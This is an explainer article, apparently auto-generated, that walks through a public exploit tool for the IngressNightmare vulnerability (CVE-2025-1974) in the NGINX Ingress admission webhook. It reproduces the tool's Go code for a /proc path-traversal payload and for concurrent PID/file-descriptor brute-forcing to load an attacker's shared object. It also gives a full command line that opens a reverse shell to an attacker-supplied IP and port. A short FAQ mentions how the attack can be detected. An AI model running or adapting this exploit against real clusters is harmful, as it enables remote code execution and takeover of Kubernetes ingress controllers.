How IngressNightmare Brute-Forces PIDs and File Descriptors in CVE-2025-1974 Exploits
IngressNightmare brute-forces process IDs (PIDs) and file descriptors (FDs) by concurrently testing thousands of /proc/<pid>/fd/<fd> combinations against the NGINX Ingress admission webhook until the malicious shared object successfully injects.
The esonhugh/ingressnightmare-cve-2025-1974-exps repository automates exploitation of the ingressnightmare vulnerability through systematic enumeration. Since the attacker cannot predict which PID and FD number will reference the uploaded payload in memory, the tool implements a highly parallelized brute-force engine that probes configurable ranges until code execution is achieved.
Configurable Brute-Force Ranges
The tool exposes four command-line flags in main.go (lines 103–108) to define the search space, allowing attackers to tune the enumeration window to the target environment:
--pid-range-startand--pid-range-end(default 5–40)--fd-range-startand--fd-range-end(default 3–26)
These defaults target typical containerized workloads where the NGINX worker processes occupy low-numbered PIDs and temporary file descriptors fall within a predictable early range. Adjusting these bounds optimizes the attack for systems with higher process churn or custom PID namespaces.
The Concurrent Exploitation Workflow
The exploitation logic in nginx-ingress/exploit.go orchestrates three synchronized operations: staging the payload, constructing malicious paths, and concurrently probing PID/FD pairs.
Staging the Malicious Payload
Before brute-forcing begins, the Exploit function launches UploadThread in a separate goroutine. This thread continuously streams the compiled shared object (payload.so) to the vulnerable upload endpoint, ensuring the malicious library remains resident in memory as an open file descriptor. Without this staging step, the subsequent /proc/<pid>/fd/<fd> references would point to non-existent or invalid memory regions.
Constructing the /proc Path Injection
The ValidateWebHook function (lines 4–12 of exploit.go) builds the traversal payload that escapes the webhook's validation context and reaches the host's procfs:
evilUrl := fmt.Sprintf("../../../../../../proc/%v/fd/%v", pid, fd)
fullPayload := strings.Replace(validateJson, "foobar", evilUrl, 1)
This path walks six directory levels up (../../../../../..) to reach the root filesystem, then accesses /proc/<pid>/fd/<fd> to reference the file descriptor table of a specific process. The function injects this path into the admission webhook's JSON validation request, replacing the placeholder foobar.
The Brute-Force Loop and Success Detection
The core enumeration engine (lines 61–89 of exploit.go) spawns a goroutine for every PID/FD combination within the specified ranges:
for fd := fdRangeStart; fd < fdRangeStart+fdRangeEnd; fd++ {
for pid := pidRangeStart; pid < pidRangeStart+pidRangeEnd; pid++ {
wg.Add(1)
go func(pid, fd int) {
defer wg.Done()
err := ValidateWebHook(WebHookUrl, fd, pid)
if err == nil {
log.Infof("Exploit Success! pid: %d, fd: %d", pid, fd)
successFlag = true
defer close(stopUpload) // stop the upload thread
}
}(pid, fd)
}
}
Each goroutine executes ValidateWebHook against the target admission controller. When a request returns success—indicated by the response string "Code Injected!"—the tool sets successFlag to true, closes the stopUpload channel to terminate the payload uploader, and prints the successful PID/FD pair. The remaining goroutines exit early once the success flag is detected, preventing unnecessary network noise.
Practical Exploitation Examples
Execute the brute-force with custom ranges to match larger container environments:
./ingressnightmare \
--mode r \
--reverse-shell-ip 10.1.2.3 \
--reverse-shell-port 4444 \
--pid-range-start 10 \
--pid-range-end 100 \
--fd-range-start 0 \
--fd-range-end 50 \
https://ingress-nginx-controller-admission.ingress-nginx.svc:443 \
http://ingress-nginx-controller.ingress-nginx.svc:80
The Go implementation demonstrates the nested iteration strategy used to maximize concurrency:
// nginx-ingress/exploit.go
for fd := fdRangeStart; fd < fdRangeStart+fdRangeEnd; fd++ {
for pid := pidRangeStart; pid < pidRangeStart+pidRangeEnd; pid++ {
wg.Add(1)
go func(pid, fd int) {
defer wg.Done()
err := ValidateWebHook(WebHookUrl, fd, pid)
if err == nil {
log.Infof("Exploit Success! pid: %d, fd: %d", pid, fd)
successFlag = true
defer close(stopUpload)
}
}(pid, fd)
}
}
Summary
- Configurable ranges: The tool accepts
--pid-range-start/endand--fd-range-start/endflags inmain.goto bound the brute-force search, defaulting to PID 5–40 and FD 3–26. - Memory staging:
UploadThreadcontinuously uploadspayload.soto keep the malicious library open as a file descriptor in memory. - Path traversal:
ValidateWebHookconstructs../../../../../../proc/<pid>/fd/<fd>paths to reference arbitrary process file descriptors via procfs. - Concurrent execution: The exploit loop spawns thousands of goroutines to test PID/FD pairs in parallel, halting immediately upon detecting the "Code Injected!" success indicator.
Frequently Asked Questions
Why does IngressNightmare need to brute-force PIDs and FDs instead of using fixed values?
Container environments randomize process IDs and assign temporary file descriptors dynamically when handling uploads. Since the attacker cannot predict which PID will handle the webhook request or which FD number holds the uploaded .so file in memory, the tool must enumerate plausible combinations until it discovers the correct pair that references the staged payload.
What determines the default PID range of 5–40 and FD range of 3–26?
These defaults reflect typical container runtime behavior where the NGINX Ingress controller runs as an unprivileged process with low-numbered PIDs, and temporary files created by the upload handler receive early file descriptor numbers (starting above stdin/stdout/stderr). The ranges cover common cases without excessive network overhead, though attackers can expand them for noisier or larger targets.
How does the tool know when the brute-force attempt succeeds?
Each goroutine checks the HTTP response from ValidateWebHook for the string "Code Injected!", which indicates the NGINX process successfully loaded the attacker-supplied shared object via the /proc/<pid>/fd/<fd> path. Upon detecting this marker, the tool sets a success flag, closes the upload channel to stop UploadThread, and reports the winning PID and FD values.
Can the brute-force be detected by network security tools?
The tool generates high-volume, parallel HTTP requests to the admission webhook endpoint, each containing slightly different path traversals. Security platforms monitoring for rapid sequential requests to admission controllers, or those inspecting for /proc/ path patterns in webhook validation JSON, can detect this behavior as anomalous lateral movement or exploitation attempts.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →